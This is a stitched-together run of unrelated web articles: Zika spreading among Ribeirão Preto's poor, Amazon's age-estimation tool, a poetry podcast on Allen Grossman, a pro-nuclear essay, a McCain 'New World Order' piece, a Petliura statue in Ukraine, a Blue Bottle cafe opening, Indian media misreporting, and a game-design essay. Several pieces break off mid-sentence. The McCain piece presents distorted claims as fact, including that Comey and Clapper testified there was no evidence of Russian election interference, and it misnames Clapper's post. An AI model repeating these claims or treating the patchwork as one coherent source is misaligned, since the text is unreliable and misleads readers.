Young women in dresses buy lattes at a Starbucks by the rink. Men in shorts and T-shirts take selfies with their cellphones next to a stand selling exercise machines. If they look unconcerned, it’s because, in this air-conditioned space, the mosquito that carries Zika can’t survive.
[Zika has been linked to birth defects. Now it may be causing paralysis.]
Downtown Ribeirão Preto.
Although 230 miles from the southeastern coast, Ribeirao Preto is sometimes called the California of Brazil. The nickname traces back to the 1980s, when a boom in sugar and ethanol production raised living standards for many residents. But the boom left many others behind.
In this respect, Ribeirao serves as a microcosm for a country with a vast gap between rich and poor. The class divide is reflected in the lopsided way that Zika is spreading in Brazil, one of the world’s most unequal countries – where the richest 1 percent of the population earns more than a quarter of all income.
You don’t have to go very far to see the other side in Ribeirao. Just a 20-minute drive north from Ribeirao Shopping, in the neighborhood of Jardim Jandaia, extended families live in narrow shacks of dull-red cinder block, sleeping on bare mattresses in ovenlike rooms sectioned off by hanging blankets.
Residents walk in the poor neighborhood of Jardim Jandaia on Feb. 19. (Lianne Milton / Panos Pictures for The Washington Post)
One resident, 20-year-old Fernanda de Oliveira Marchini, fell ill at the beginning of February. At first she thought it was dengue fever. On top of Zika, Ribeirao has been hit by one of its recurring dengue epidemics, and the two viruses cause some of the same symptoms, such as headaches and rashes.
But at a public clinic, a doctor told her she might have Zika. The news devastated Marchini, who is three months pregnant. While usually milder than dengue, Zika has been linked to a birth defect known as microcephaly, in which babies are born with abnormally small heads.
“This is my first child,” Marchini said, her eyes filling with tears. “I got scared about the problems he might have. I started having contractions every three minutes, and they had to give me medicine to keep me from losing my baby.” Her first test for Zika was inconclusive, so she must return for another.
Fernanda de Oliveria Marchini, 20, who is three months pregnant, recently caught the zika virus and is scared of what could happen to the baby. (Lianne Milton / Panos Pictures for The Washington Post)
[How a tiny mosquito became one of the world’s ‘most efficient killers’]
Since last year, Zika has infected an estimated 1.5 million Brazilians, mostly in the hot, poor northeast. Though the virus arrived late to this city of 660,000, the local health department already suspects that 130 pregnant women may have caught it. The cases appear concentrated among lower-income residents. That trend is also evident with dengue – of the 1,557 cases since January, only 160 came from the well-to-do south side. What countries have the Zika virus?
Benedito Fonseca, a professor of infectious medicine at the University of Sao Paulo at Ribeirao Preto, calls the Aedes aegypti mosquito “democratic” because it will suck anyone’s blood – rich or poor. But it thrives in densely populated areas like those on the city’s poor outskirts, where few can afford screened windows. On the minimum wage of $220 a month, even mosquito repellent is a luxury for such residents.
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In what sounds like a smart move on Amazon’s end, the tool gives a wide range instead of trying to pinpoint a specific number, along with the likelihood that the subject of the image is smiling or wearing glasses. Microsoft tried the latter approach back in 2015 with its own AI tool, resulting in some hilariously bad estimates that exposed fundamental weaknesses in how these types of image recognition algorithms function. Still, these experiments are more for fun, and both companies’ cracks at age-guessing algorithms are a good way to mess around with AI if you’re so inclined.
For instance, here’s Amazon’s tool trying to digest an old photo of me in my early twenties:
Here’s what it had to say about a more recent photo:
And here’s what it has to say about a drastically different image of me from nearly ten years ago, sans glasses and short hair:
Needless to say, I am not 30, 47, or any age in between in any of those photos. Microsoft is equally guilty of thinking I am far older than I actually am — perhaps a product of the beard, at least for the first two images. When giving both tools a photo of clean-shaven Microsoft CEO Satya Nadella, we get a slightly more accurate description: Amazon thinks Nadella is between 48 and 68 years old, while Microsoft’s tool thinks he’s 67. (Nadella is 49 years old). Trying Bezos yields similar results that are only kinda, sorta on point, yet still within a range of acceptability.
The goal here of course is not to try and trick the software. After all, these tools are not supposed to 100 percent accurate all of the time, and purely for fun in Microsoft’s case. Amazon, on the other hand, offers Rekognition to developers who are interested in implementing general object recognition, labeling, and other likeminded features for their products and services.
In this case, Amazon’s Jeff Barr sees the age range feature as a way to “power public safety applications, collect demographics, or to assemble a set of photos that span a desired time frame,” he writes in a blog post. For those purposes, Amazon’s tool may be good enough. Even when it isn’t, we know it will be getting better all the time, thanks to deep learning methods that train it using billions of publicly available images.Allen Grossman, 'My Radiant Eye'
Allen Grossman. Photo courtesy Johns Hopkins University.
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Kathryn Hellerstein, Peter Cole, and Ariel Resnikoff joined Al Filreis to talk about Allen Grossman’s poem “My Radiant Eye.” It’s a late poem written in a late style. It appears in Grossman’s last book, Descartes’ Loneliness. The performance of the poem, recorded by Harvard’s Woodberry Poetry Room, gives us a voice that has “vatic sweep and boost,” as Peter puts it, but also “fragility.” Kathryn, who knew Grossman as her teacher of Humanities 1 at Brandeis decades earlier, will “never forget th[e] voice” of those long-ago lectures. That dramatic intoning is still here, she observes, but “you feel him slipping a little.” There is some improvising in the performance even as it falters. “I like the way he seems to be engaged with the text but not completely committed to it,” Ariel adds. “I love that you get this sense for the poem which is outside of the page, which exists momentarily in his mind but really only exists in this recording.” (We cannot think of a better reason for aural study of audio archives of poet’s readings.)
Our discussion led us to understand this poem as aligned well with Grossman’s overall belief late in his career that there is an ideal of a poem — that there is always an indefectible version that can never be realized in any given poem, an imagined poem that every poet is writing and which stands in a somewhat haunted, mournful relation to the poem that actually gets written.
Kathryn has found the Talmudic passage that seems to be the source, or one of the sources, of the comic didacticism in “My Radiant Eye” — all those detailed rules about what one can and cannot do in a “desolate synagogue.” The ancient source uses the term “ruined” rather that “desolate.” The latter word choice adds an emotional diction. “Ruined” seems external, an encountered given. “Desolate” conveys loneliness as an effect of ruination. The poem seems not to mourn the loss of the Jewish community, which is certainly one plausible reading. It is, rather, an individual pre-elegy. Grossman is mourning himself, in a way — marking the decline of the situation of the individual poet, safely inspired long before in “The Caedmon Room” (see a key poem of that title elsewhere in Descartes’ Loneliness). The productive poet’s space of original (and premodern, Peter notes) inspiration is now an abandoned weedy synagogue. The speaker tosses around regulations and injunctions for the use of “that Jewish study space” (in Ariel’s phrase) as if such rules make sense and could be followed. In fact we cannot imagine following them, so when the speaker claims to “know these things,” the reader is prepared for the absurd comedy of the conferring of the laurel crown by, of all random authorities, the King of Sicily. (When we arrive at Sicily, the poet himself seems a bit amused and surprised that we’ve gotten there.) The crowning is wholly ironic. In the end, the only way the vatic poet can achieve a transcendent experience is through “this baffoonish holy fool impersonation” (in Peter’s phrase). There is something pedantic and Talmudic — and unpoetic — about the repetition of the phrase “desolate synagogue.” But it is also, finally, poetic. Repetition is a form of refrain. As Kathryn observes, Grossman is “making an English poem out of pedantry and Talmudic study that seems to be at odds with the radiance of his eye.”
PoemTalk #96 was engineered and directed by Zach Carduner and Adelaide Powell, and edited by the same talented Zach Carduner. Al Filreis is the producer of the PoemTalk series, begun in 2007, and he looks forward to a special 100th episode. For that, seven poets who have appeared as PoemTalk guests over the years will converge on the Kelly Writers House to reflect on earlier episodes.
PoemTalk is an ongoing collaboration of PennSound, the Kelly Writers House, and the Poetry Foundation. We are grateful to Hillary and Rodger Krouse and David Roberts for their support, and for the generosity of the Wexler family for their support of the Wexler Studio at the Kelly Writers House."If nuclear power is the answer, it must have been a pretty stupid question," went an oft-cited slogan of the 1970s environmental movement. But the question was not stupid, and it is even less so today when the challenge is even blunter: how are we going to provide for our energy needs in a way that does not destroy, via global warming, the capacity of our planet to support life? The hard truth is that if nuclear power is not at least part of the answer, then answering that challenge is going to be very difficult indeed.
Unfortunately, just by writing the sentence above, I will already have prompted many readers to switch off. Being anti-nuclear is an article of faith (and I use that word intentionally) for many people in today's environmental movement and beyond, just as it was during the 1970s. That the Green Party, Friends of the Earth and Greenpeace have held the same position on the subject for 30 years could show admirable consistency - but it could also be evidence of dogmatic closed-mindedness.
When I first broached the issue in these pages three years ago, the reaction was extraordinary. A close acquaintance sent me a tearful email saying that I had "destroyed" her motivation for environmental campaigning. Other friends here in Oxford accused me - jokingly, of course - of having formed a romantic liaison with BNFL's spokeswoman. Just last week, after tackling the subject once again, I received a one-line email from a well-known environmentalist accusing me of having "done a considerable disservice to the cause of combating climate change".
So why does the nuclear issue evoke such strong reactions? For answers, I think we need to look to nuclear's past, when today's entrenched positions were first formed. Civil nuclear power began life as a heavily state-subsidised industry largely designed to produce plutonium for bombs. Civil nuclear power was part of the military-industrial complex and shrouded in secrecy. An association with the mushroom cloud has tainted the nuclear industry ever since - and clearly continues to be an issue in countries such as Iran, North Korea and Pakistan.
Then there is radiation. Most people are terrified of radiation precisely because it is invisible, making it all the more threatening, and because of its potential to cause cancer and genetic deformities. (Many other cancer-causing agents such as food or smoke seem innocuous by comparison.) Nuclear accidents and near-meltdowns - such as Three Mile Island in 1979 - provoke scary headlines throughout the media, as did popular treatments such as the film The China Syndrome (released, by an extraordinary stroke of luck for the film-makers, just 12 days before Three Mile Island), in which a sinister nuclear cabal covers up evidence of an accident.
It is undeniable that nuclear fission generates radioactive by-products, some of which will inevitably enter the environment. It is also undeniable that exposure to radiation increases the risk of cancer (though radiation can also be employed to treat cancers). But it is the level of risk that counts, and here the story is less fearsome than many would have us believe. Take Three Mile Island, which exposed local populations to one millirem of radiation on average. This equates to roughly what we all receive from natural sources (cosmic rays and naturally occurring radioactive elements in the ground) every four days. The number of deaths from Three Mile Island - the worst civil nuclear accident ever in a western country, and one that ended the US nuclear programme (not a single reactor has been built since) - is therefore officially estimated to be zero.
Even Chernobyl, surely the worst-imaginable case for a nuclear disaster, was far less deadly than most people think. In the immediate aftermath of the explosion, 28 people died due to acute radiation sickness - all firemen and power plant workers, some of whom had been exposed to radiation doses as high as one million millirems. By comparison, 167 men were killed during the Piper Alpha disaster on a North Sea oil rig in 1988. But it is the long-term effects from Chernobyl that tend to scare people most. In a 2006 report, Greenpeace claimed that "60,000 people have additionally died in Russia because of the Chernobyl accident, and estimates of the total death toll for the Ukraine and Belarus could reach another 140,000".
These figures, if correct, would make Chernobyl one of the worst single man-made disasters of the last century. But are they correct? The United Nations Scientific Committee on the Effects of Atomic Radiation reports 4,000 cases of thyroid cancer in children and young people in Belarus, Russia and Ukraine, but very few deaths (thyroid cancer is mostly treatable). Indeed, it concludes, "There is no evidence of a major public health impact attributable to radiation exposure 20 years after the accident", and no evidence of any increase in cancer or leukaemia among exposed populations. The World Health Organisation concludes that while a few thousand deaths may be caused over the next 70 years by Chernobyl's radioactive release, this number "will be indiscernible from the background of overall deaths in the large population group". Without wishing to downplay the tragedy for the victims - especially the 300,000 people who were evacuated permanently - the explosion has even been good for wildlife, which has thrived in the 30km exclusion zone.
A plentiful supply of free fuel
One way of statistically assessing the safety of nuclear power versus other technologies is to use the measure of deaths per gigawatt-year. This technique is cited by Cambridge University's Professor David MacKay in his book Sustainable Energy - Without the Hot Air (available free on the web), and shows that in Europe, nuclear and wind power are the safest technologies (about 0.1 death per GWy), while oil, coal and biomass the most dangerous (above 1 per GWy).
A focus on statistics is also useful when assessing the financial costs of nuclear power. The high price for nuclear waste disposal and decommissioning - with a hefty chunk always payable from public funds - is surely one of the environmental lobby's strongest arguments, particularly if any subsidy from taxpayers means taking money away from investment in renewables. Helen Caldicott's book Nuclear Power is Not the Answer discusses the finances of nuclear under a chapter subheaded "Socialised Electricity", quoting figures for nuclear's subsidy in the US over recent decades of $70bn. To make a direct cost comparison, the International Energy Agency in a 2005 study looked at life-cycle costs for all power sources - including construction costs, operations, fuel and decommissioning - and concluded that nuclear was the cheapest option, followed by coal, wind and gas.
But how about nuclear power's potential contribution to mitigating global warming? One persistent myth is that once construction and uranium mining are taken into account, nuclear is no better than fossil fuels. However, according to the Intergovernmental Panel on Climate Change (IPCC), total life-cycle greenhouse-gas emission per unit of electricity is about 40g CO2-equivalent per kilowatt-hour, "similar to those for renewable energy sources".
But why not ditch nuclear and focus only on renewables, as the greens suggest? MacKay calculates that even if we covered the windiest 10 per cent of the UK with wind turbines, put solar panels on all south-facing roofs, implemented strong energy efficiency measures across the economy, built offshore wind turbines across an area of sea two-thirds the size of Wales, and fully exploited every other conceivable source of renewables (including wave and tidal power), energy production would still not match current consumption.
This is rather different to Britain being the "Saudi Arabia of wind power" as many in the environmental movement are fond of asserting. Indeed, MacKay concludes that we will need to import renewable electricity from other countries - primarily from solar farms in the North African desert - or choose nuclear, or both. Indeed, it is vital to stress the neither I nor MacKay nor any credible expert suggests a choice between renewables and nuclear: the sensible conclusion is that we need both, soon, and on a large scale if we are to phase out coal and other fossil fuels as rapidly as the climate needs. As MacKay told me: "We need to get building."
The UK's Sustainable Development Commission, in its 2006 report on nuclear power, argued that new plants should be ruled out until the existing waste problem could be solved. But what if a new generation of nuclear plants could be designed that, instead of producing more waste to leave as a toxic legacy for our grandchildren, actually generated energy by burning up existing waste stockpiles? This is the solution proposed by Tom Blees, a US-based writer, in his upcoming book Prescription for the Planet. Blees focuses particularly on so-called fourth-generation nuclear technology - better known as fast-breeder reactors. While conventional thermal reactors use less than 1 per cent of the potential energy in their uranium fuel, fast-breeders are 60 times more efficient, and can burn virtually all of the energy available in the uranium ore.
This gives these fourth-generation reactors a big advantage. As Blees puts it: "Thus we have a prodigious supply of free fuel that is actually even better than free, for it is material that we are quite desperate to get rid of." Moreover, fast-breeder reactors can also run on the "depleted" uranium left behind by conventional reactors, and help reduce the proliferation threat by burning up plutonium stockpiles left over from decommissioned nuclear weapons. Blees estimates that supplies of nuclear waste and depleted uranium are sufficient to "provide all the power needs of the entire planet for hundreds of years before we need to mine any more uranium". Although these reactors produce plutonium - which might be used for nuclear weapons, and could therefore pose a proliferation threat - weapons-grade material is never isolated in the fuel-cycle process, making fast-breeders less dangerous to international stability than conventional reactors, and relatively simple to inspect.
But what about the waste these reactors themselves produce? Since the by-products of fast-breeder reactors are highly radioactive, they have much shorter half-lives - rendering them inert in a couple of centuries, instead of the longer time over which conventional nuclear waste remains dangerous. (Once again there is a powerful myth here - that high-level waste from reactors remains dangerous for enormous lengths of time. Greenpeace states that "waste will remain dangerous for up to a million years". In fact, almost all waste will have decayed back to a level of radio activity less than the original uranium ore in less than a thousand years.) Fourth-generation nu clear technology is also inherently safer than earlier designs. The Integral Fast Reactor (IFR), discussed at length by Blees, operates at atmospheric pressure, reducing the possibility of leaks and loss-of-coolant accidents. It is also designed to be "walk-away safe", meaning that if all operators stood up and left, the reactor would shut itself down automatically rather than overheat and suffer a meltdown.
So why, given the purported advantages in safety and fuel use, have fast-breeders not been developed commercially? The US Integral Fast Reactor programme was shut down in 1994, possibly - Blees suggests - because of political pressure levied on the Clinton administration by anti-nuclear campaigners. (Even so, fourth-generation nuclear power plants are being built in India, Russia, Japan and China.) Ironically, the Clinton administration may have inadvertently killed off one of the most promising solutions to global warming in an attempt to please environmentalists. Even if the decision were to be reversed immediately, 20 years has been lost.
It is worth remembering the contribution that nuclear power has already made to offsetting global warming: the world's 442 operating nuclear reactors, which produce 16 per cent of global electricity, save 2.2 billion tonnes of carbon dioxide per year compared to coal, according to the IPCC. Blees agrees that "the most pressing issue is to shut down all coal-fired power plants" and urges a "Manhattan Project-like" effort to convert the world's non-renewable power to IFRs by the thousand. This sounds daunting but it is not unprecedented: France converted its power supply to 80 per cent nuclear in the space of just 25 years by building about six reactors a year.
An anti-nuclear report published by the Oxford Research Group in 2007 concluded that an additional 2,500 reactors would need to be built by 2075 to significantly mitigate global warming. The report's authors suggested that this was a "pipe-dream". But it sounds eminently achievable to me, given that it is only a five-times increase from today. The question is this: are those who care about global warming prepared to reconsider their opposition to nuclear power in this new era? We are no longer living in the 1970s. Today, the world is more threatened even than it was during the Cold War. Only this time nuclear power - instead of being part of the problem - can be part of the solution.By Aaron Kesel
Senator John McCain (R-Arizona) urged fighting “crackpot conspiracy theories” during a speech on Monday night despite for years being one of those people who pushes one of those theories: the creation of a world government, or a New World Order.
“We have to fight against propaganda and crackpot conspiracy theories. We have to fight isolationism, protectionism and nativism. We have to defeat those who would worsen our divisions,” McCain said at the Brigade of Midshipmen at the United States Naval Academy in Annapolis, Md., The Hill reported.
“We are asleep to the necessity of our leadership, and to the opportunities and real dangers of this world. We are asleep in our echo chambers, where our views are always affirmed and information that contradicts them is always fake,” McCain added.
Despite this, McCain himself has been an adamant poster boy to fuel the fire toward one world government with constant references to a New World Order.
Most notably earlier this year in March he claimed that the “New World Order was under enormous strain,” EU Observer reported.
This isn’t the first time that McCain remarked how proud he is of this mysterious New World Order.
In December of last year, McCain stated on Fox that “Russia was threatening the 70-year-old New World Order that was established after WW2” preaching that Russia had hacked the election and stating it as definitive fact. This was before investigators even announced a verdict in the probe. Along with sitting Senator Lindsey Graham (R-South Carolina), both called for sanctions against Russia at the time.
Those claims have now been debunked by FBI Director James Comey, NSA Director James Clapper and others who have now openly proclaimed under oath that, “there was no evidence that Russia influenced the election and hacked election machines in anyway.”
McCain also directly pointed at U.S. President Donald Trump stating he was a “threat to the New World Order,” and that this New World Order must be preserved and maintained.
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In a statement in 2008 he also urged for a new “Global Order of Peace,” calling for a new “global League of Democracies-one that would have NATO members at its core-dedicated to the defense and advancement of global democratic principles.”
McCain made his first pitch for a new international organization in 2007 before the Hoover Institution at Stanford University in Stanford, California.
“It could act where the UN fails to act, to relieve human suffering in places like Darfur,” McCain said. “This League of Democracies would not supplant the United Nations or other international organizations. It would complement them,” he explained.
The words “New World Order” have been repeatedly echoed through history by several politicians including the likes of Henry Kissinger, Jacob Rothschild and the now-deceased David Rockefeller.
The phrase was most notably heard by former President George H.W. Bush when he stated:A new statue of a Ukrainian nationalist who is blamed for the murder of tens of thousands of Jews during the Russian Revolution, was unveiled Saturday in Vinnitsa, in an area of the city once known as Yerusalimka (Jerusalem), just some 200 meters (600 feet) from a small, functioning synagogue.
The city, located 260 kilometers (160 miles) southwest of the Ukrainian capital, Kiev, already has a street named for Symon Petliura.
Soldiers of Petliura’s Ukrainian People’s Republic were responsible for 493 out of the recorded 1,236 pogroms and other violent incidents against Jews in 524 Ukrainian towns during the Russian Revolution, from 1918 to 1921, although Petliura’s actual role remains unclear.
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Erection of the statue is part of an ongoing move by Ukrainian authorities to replace Russian street names and monuments with Ukrainian ones as a reaction to the ongoing war against Russian-backed separatists in the eastern Ukrainian areas of Donetsk and Lugansk.
Last year, Ukraine observed a minute of silence for Petliura on the 90th anniversary of his assassination in Paris.
A French court acquitted Sholom Schwartzbard, a Russia-born Jew, of the murder, even though he admitted to it after the court found that Petliura had been involved in or knew of pogroms by members of his militia. Fifteen of Schwartzbard’s relatives perished in the pogroms.
In the city of Uman — a major pilgrimage site for Breslov Hasidic Jews, a new monument recently appeared to commemorate Ivan Gonta, an 18th century Cossack involved in a massacre of Jews, Poles and Eastern Catholics.
Vinnitsa’s pre-war Jewish population estimated at 28,000 was murdered by the Nazis and was immortalized in the iconic photograph The Last Jew of Vinnitsa. The photograph, found in an album belonging to a German soldier, shows a member of Einsatzgruppe D about to execute a Jewish man who kneels before a mass grave.
Ukraine’s prime minister, Volodymyr Groysman, is Jewish on his father’s side.Fifteen years ago, Blue Bottle founder James Freeman sold his first bag of coffee at the Old Oakland Farmer’s Market at Broadway and 9th. Freeman at the time was roasting his beans in a 183-square-foot potting shed and delivering them to his friends in a beat-down Peugeot wagon. Old Oakland was the first market in the Bay Area that would accept Freeman’s nascent roaster as a vendor. In July of 2017, a decade and a half later, Blue Bottle is the biggest name in specialty coffee with shops in America and Japan, a thriving delivery service, and a line of coffee gear fine tuned to the company’s extremely high standards. But getting bigger doesn’t mean you still can’t come home. This summer sees Blue Bottle’s return to Old Oakland, across the street from the Old Oakland Farmer’s Market. It’s a return to the beginning, a back to where Blue Bottle first got its start.
The new location, the Bay Area’s 13th brick-and-mortar locale, sits on the ground floor of The Henry House. Built in 1877 by banker Ashmun C. Henry, The Henry House was a “first-class hotel” that was once the stomping grounds of famed, and troubled, dance sensation Isadora Duncan. “I like to imagine that my office in the building,” James Freeman says, “is where she stayed. But I don’t actually know that.” Working with architectural firm Bohlin Cywinski Jackson, Freeman hoped to instill the space with a hint of a recent interest of his: turn-of-the-century perfume factories. “I’ve been fascinated by the perfume industry,” he says, “it’s so clinical and scientific, but it’s all in the service of pleasure.”
The exterior of The Henry House boasts an impressive Italianate facade—Corinthian columns and the occasional gleam of gold leaf. Inside, Bohlin Cywinski Jackson has, in the Blue Bottle tradition, worked with the materials on offer. In this, original brick walls and an exposed ceiling pair with Baltic birch cabinetry and the requisite shine of a burnished La Marzocco espresso machine and a pour-over drip bar.
Customers at the new space will have the opportunity to peer into the training process of Blue Bottle employees. The company’s state-of-the-art training facility stands exposed behind a floor-to-ceiling window, the next generation of baristas learning their trade a few hundred feet from where Freeman got his start in the coffee business. “We didn’t need to make a cafe that was twice the size,” Freeman says, “and we liked that Old Oakland would be a hub of activity.” Already, baristas from the recently opened Blue Bottle in Georgetown in D.C. have made the trek to learn the Blue Bottle way.
There’s been talk of a 15-year anniversary, though Freeman has always been skeptical of celebrating past successes. “I like to keep looking forward,” he says, “but maybe we’ll roast a special coffee, sell it on the corner.” In the meantime, Blue Bottle will, inevitably, continue to grow. “Given how successful we’ve been in Japan,” Freeman says, “there’s definitely other countries in Asia that are calling out to us.”
“I’ve always been uncomfortable with the size of Blue Bottle,” Freeman says. “Big or small, I’m always a little uncomfortable with the size. But, you know, the universe will be extinguished in a few billion years, so I guess we’re keeping pace with the expansion.”
Noah Sanders (@sandersnoah) is a Sprudge.com staff writer based in San Francisco, and a contributor to SF Weekly, Side One Track One, and The Bold Italic. Read more Noah Sanders on Sprudge.
Photos courtesy of Blue Bottle.1. 7th June 2015: Times of India – Maggi clears lead test in Karnataka, won’t be banned
There was a lot of confusion on the Maggi issue, and Times of India was one of the players. On 7th June, Times of India said that Maggi would not be banned in Karnataka, following a test in a private lab, authorized by the Government. Curiously, on the same day, The Hindu ran a story which said the opposite. The Hindu claimed that Maggi would indeed be banned in Karnataka. By 19th June, finally Times of India got its act right and reported that Karnataka Government had ordered Nestle to burn its Maggi stock.
2. 10th June 2015: ANI News/Times of India – Photo of Indian Army involved in Myanmar operation
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It started with ANI News’s twitter handle posting the following tweet:
Army team that destroyed militant camp in Myanmar. No casualties. Faces blurred to protect identity. pic.twitter.com/fXAVAmxLSM — ANI (@ANI_news) June 10, 2015
While ANI News claimed this picture was from the recent anti-terror operation, alert users realised that it was in fact at least 2-3 years old. The next day Times of India went one step forward and published the picture on the front page, with all the faces of the soldiers visible and even proclaimed it was “issued by the defence ministry”. Immediately, Ministry of Defence issued a clarification that no picture was issued by them relating to action in Myanmar:
A Clarification: MoD has NOT issued any photo relating to Indian Army action along Indo-Myanmar border in the North East, so far. — Sitanshu Kar (@SpokespersonMoD) June 11, 2015
Editor of ANI news Smita Prakash claimed that the picture was “authorised to be released”, but at the end of the day, the fact remains this was an old picture and had no connection with the Myanmar ambush, yet was shown as such by the media.
3. 15 June 2015: All Media – Indian Army’s importance diminished due to lack of wars: Parrikar
What was a frank, but possibly ill-worded statement from Defence Minister Parrikar, was twisted way out of proportion by many in the media. Firstpost, even went to the extent of saying Parrikar has a “hunger for war and a disdain for the army”. Parrikar, was instantly portrayed as a warmongerer. The truth of course, was different. One look at his complete sentence, gives us the context and also an important disclaimer ignored by most media:
“I have written to many Chief Ministers [over defence matters]. Some have acted on it and at many places, it [response] has ended. The primary reason for this is that we have not been to war for 40-50 years. I don’t mean to say that we should go to war. I mean to say that without war the Army’s importance has diminished,”
Firstly, Parrikar was speaking in the context of State Governments not giving due importance to needs and requests of the Defence Forces. Secondly, Parrikar clearly says “I don’t mean to say that we should go to war“, before saying that Army’s importance has diminished. Yet, he was painted as a warmongerer by the media, and hence he has recently taken the decision to avoid the media.
4. 18 June 2015: Indian Express – IIT JEE Advanced 2015 results out, MP girl Satvat Jagwani tops exam
Indian Express declared that the IIT JEE advanced topper was a “girl” named Satvat Jagwani. This, even as other news reports claimed Satvat Jagwani was a boy. Eventually it was clear that Indian Express had yet again goofed up. Later Indian Express rectified the story and hence we do not have a screenshot of the original news story. But there is adequate information to support the claim that Indian Express messed up. This user tweeted about the same, and even in the comments section of the Indian Express piece, a reader has asked Indian Express to change the story URL from “girl” to “boy”.
5. 19 June 2015: IANS/Times of India – India conspicuous by absence at Russian economic forum
Times of India, relying on an IANS report, posted this highly misleading headline on 19th June. The body of the article though made it clear that India did send a high-level delegation. Apparently, the only “absence” was at a “morning roundtable”, where Nirmala Sitharaman, Minister for Commerce did not come. Even this “absence” was only because of Protocol, as her Russian counterpart couldn’t make it to the roundtable, and this fact too was reported by the very same news article. Yet a sensationalist headline was used by Times of India, to spread untruths. Further, the Minister herself cast aspersions on not only the headline, but also the content of the IANS report:
. @nitingarg456 The headline & content of the story surprise me. Both my TL & @CimGOI have recorded our participation. Pl check. — Nirmala Sitharaman (@nsitharaman) June 20, 2015
6. 23 June 2015: Firstpost – AIMPLB issues call to arms against rising tide of Hindutva
On reading this headline, one would imagine AIMPLB has asked Muslims to begin hostile activities against Hindutva. But once we read the article we find something different. The problem here is Firstpost has tried to sensationalize the issue by adding a “call to arms” phrase, which generally means calling people to take up hostile or military activities. The truth however, is that AIMPLB merely asked to start a campaign to spread their views, and not any violent activity. This is evident when one reads the quoted text in the article.
7. 23 June 2015: TimesNow – Rajasthan cabinet passes resolution thanking Nitin Gadkari for giving clean chit to Vasundhara Raje in # Lalitgate
That Times Now is desperate for a resignation is now apparent. What makes it even more clear is how they are willing to misreport events just to suit their campaign. Following tweets will highlight the same:
Rajasthan cabinet passes resolution thanking Nitin Gadkari for giving clean chit to Vasundhara Raje in #Lalitgate — TIMES NOW (@TimesNow) June 23, 2015
Rajasthan Cabinet passed resolution thanking Nitin Gadkari fr dvlpmnt of roads,infrastructure in R’than: State Health Min Rajendra Rathore — ANI (@ANI_news) June 23, 2015
8. 24 June 2015: Firstpost – Aadhaar number mandatory in simplified IT Returns
Firstpost once again gets it wrong. If only Firstpost had bothered to actually see the new IT Returns, the would have realised that the Aadhar number is not mandatory. It even defies logic since Aadhar coverage has not even reached some parts of the country. A screenshot of the IT return makes it clear:
9. 24 June 2015: Hindustan Times – Gautam Adani, PM Modi’s constant companion on overseas trips
This news report was out in April, but only now the truth has come out. If you read the report, it gives an impression |
Of course he have doubts, doubts create suspense and tell player that now it’s time to get to work and kick some smaller asses before attempting to kick the biggest one.
Conveniently the Old Man appears on the stage. Is it you Obi Wan? Or maybe you Morpheus? Whoever it is only thing that matter is he knows a lot and he is willing to teach our hero. Of course its not always a character but idea stays the same. We need something to convince our guy that he can do this and there’s no going back now. Now it’s time to realise that this simple man is not so simple. He’s the Dragonborn, he’s the Avatar, he can use the Dagger of Time. Whatever happens it must show the hero that he’s more unique than he thought. At this very moment he decides to commit and that’s the real start of his journey.
“You’re a wizard Harry.”
Facing the unknown
After spending his whole life in small village boy finally packs up his things and follow his new teacher into the mythical mysterious woods, on the path to the outside of boy’s narrow world. We get out of the Vault, wellness task is over, simulation ended, now face real world. The gameplay begins. Boy enters enormous city, he’s amazed and terrified at the same time, we get bombarded with minimap tokens as kid faces his new reality. Beginnings are hard. First missions that his mentor gave him were tough, but after some practise boy learned the Hero’s 101. He is starting to get used to this world. Now everyone asks him for help. He’s growing strong, he’s becoming so powerful, he says to himself “my dad would be proud if he was here”, because yeah, of course his dad left long time ago. Boy is more and more popular too, characters are appearing and we all know that they are here for reason, those are the allies, because what is the journey without the diverse awesome but not as awesome as main character team of heroes, that will let some less mainstream players to identify with one of them. Hmm, we have some struggles, quests, some smaller enemies on those quests, progression on becoming powerful hero, allies, what are we lacking?. Oh yeah… The romance.
“When Kliche got his head above water again he saw a very pleasant and attractive girl about half a year younger than him, who seemed very friendly, submissive to men and prone to having romantic ties to all troubled males. She also had pointy ears and a big staff, also a pegacorn (that’s a unicorn with wings, they fart rainbows and shit diamonds and are totally awesome)” – The Linear RPG
All of this combined is the core of the game, something that designerw will spend most time on and it will be most important for player experience, even if ending scene is so intense that people shit themselves from excitement, they won’t ever see it if overall game is not interesting enough, because as they say: It’s all about the journey, not the destination. Better to have fun playing for countless hours and be disappointed by the ending, than to be bored to death by the repetitive sequences or mediocre gameplay just to have some quick mind blow at the end. But don’t fool yourself to make good game we need both.
Inmost Cave
“He is a fighter for justice. He has a quick gun or a quick sword, a big fist, a big mouth, and a soft heart.” – The Key, James Frey
From rats in the basement to legions of undead, every quest was boy’s destiny. The prophecy was true. The power was in him all the time. Ordinary boy becomes true hero. He became so powerful just in time, because the evil guy is hungry for attention and reminds whole world that he still exists, by spreading the seeds of madness all around. Our brand new champion must face the danger. What started, must end. It’s time to go into dragon’s lair. Having in mind mentor’s lessons, equipped with armour that belonged to 2nd strongest guy in the world, legendary big ass sword looking like christmas tree, amulet from his father (that magically appeared just to gave it to his son before his most dangerous mission) and 10 litres of healing potions, Mighty Farm Boy is ready to face the edgy, crazy and incredibly strong guy that can destroy whole city by just giving it an angry look. Battle of good and evil begins. Let’s get ready to rumble!
The Ordeal & The Reward
“Oh this is too easy, something must be wrong” – hero(player) thinks and he is totally right, because that was just first form of the bad guy, it would be too boring if he went with whole arsenal at once right? Oh and also we can’t forget that we’re in the cliche so happy endings are obligatory, but it’s not that moment yet. Crowd demands suspense, crowd demands tension. Give them what they want.
It’s the moment when villain reveals his true strength. Hero is down on his knees, maybe one of his allies dies, maybe he gets thrown on the wall with finger-snap, whatever happens, the champion becomes little scared boy again, he faces death, he faces loose, we can hear the nail biting from the audience.
“How could I be so stupid and ignorant? How could I think I can defeat this mostrosity?” – Boy panics, looses his fighting spirit, bad guy is laughing, slowly getting ready for last swing of his sword, decapitating the protagonist. Hero dies in three… two… one and a half… We all know what happens now. Zero.
“NANI?!”
After series of flashbacks including teacher, dad, mom, friends and his crush, the Chosen One dodges deadly, prolonged attack and puts all strength he has left to destroy the evil guy. This process can repeat few times with shitload of ‘final forms’ on both sides, and plot twists within the plot twists, it’s up to you, just don’t overdo it.
When we make sure the final boss is finally dead, we can collect our reward. Maybe defeating the boss was reward itself, maybe it’s some artefact, maybe rescued friend or solution to the village problems, doesn’t matter, player just have to know he did all of this for a reason(Shout out to Borderlands). World rescued, reward acquired, eternal glory achieved. Boy can go back home.
The Return
